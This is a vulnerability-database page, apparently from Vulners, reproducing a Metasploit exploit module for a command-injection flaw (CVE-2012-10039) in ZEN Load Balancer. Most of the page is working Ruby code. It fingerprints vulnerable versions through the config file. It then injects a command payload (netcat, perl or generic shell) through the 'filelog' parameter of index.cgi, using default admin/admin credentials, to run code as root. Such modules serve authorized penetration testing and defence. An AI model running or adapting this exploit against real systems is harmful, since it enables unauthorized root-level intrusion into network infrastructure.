ZEN Load Balancer Filelog Command Execution
🗓️ 14 Sep 2012 00:00:00Reported by bcoles <[email protected]>Type
metasploit🔗 www.rapid7.com👁 20 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2012-10039 | 29 May 201815:50 | – | circl | |
| Zevenet Zen Load Balancer 安全漏洞 | 11 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10039 | 11 Aug 202514:55 | – | cve | |
| CVE-2012-10039 ZEN Load Balancer Filelog Command Execution | 11 Aug 202514:55 | – | cvelist | |
| EUVD-2012-6599 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10039 | 11 Aug 202515:15 | – | nvd | |
| PT-2025-32552 · Unknown +1 · Zen Load Balancer +2 | 11 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10039 | 13 Aug 202515:28 | – | redhatcve | |
| CVE-2012-10039 ZEN Load Balancer Filelog Command Execution | 11 Aug 202514:55 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "ZEN Load Balancer Filelog Command Execution",
'Description' => %q{
This module exploits a vulnerability in ZEN Load Balancer
version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
to execute arbitrary code under the context of the 'root' user.
The 'content2-2.cgi' file uses user controlled data from the 'filelog'
parameter within backticks.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles' # Discovery and exploit
],
'References' => [
['CVE', '2012-10039'],
['OSVDB', '85654'],
['URL', 'http://web.archive.org/web/20221203195056/https://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat netcat-e perl',
}
},
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => '2012-09-14',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('HttpUsername', [true, 'The username for the application', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the application', 'admin'])
]
)
end
def check
# retrieve software version from config file
vprint_status("Sending check")
begin
res = send_request_cgi({
'uri' => '/config/global.conf'
})
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
return Exploit::CheckCode::Appears("Version #{$1} appears to be vulnerable")
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
return Exploit::CheckCode::Detected('Zen Load Balancer detected')
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown('Could not determine the target status')
end
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
def exploit
user = datastore['HttpUsername']
pass = datastore['HttpPassword']
cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
lines = rand(100) + 1
# send payload
print_status("Sending payload (#{payload.encoded.length} bytes)")
begin
res = send_request_cgi({
'uri' => '/index.cgi',
'authorization' => basic_auth(user, pass),
'encode_params' => false,
'vars_get' => {
'nlines' => lines,
'action' => 'See logs',
'id' => '2-2',
'filelog' => cmd
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, 'Connection failed')
rescue
fail_with(Failure::Unknown, 'Sending payload failed')
end
if res and res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.4
EPSS0.02389
SSVC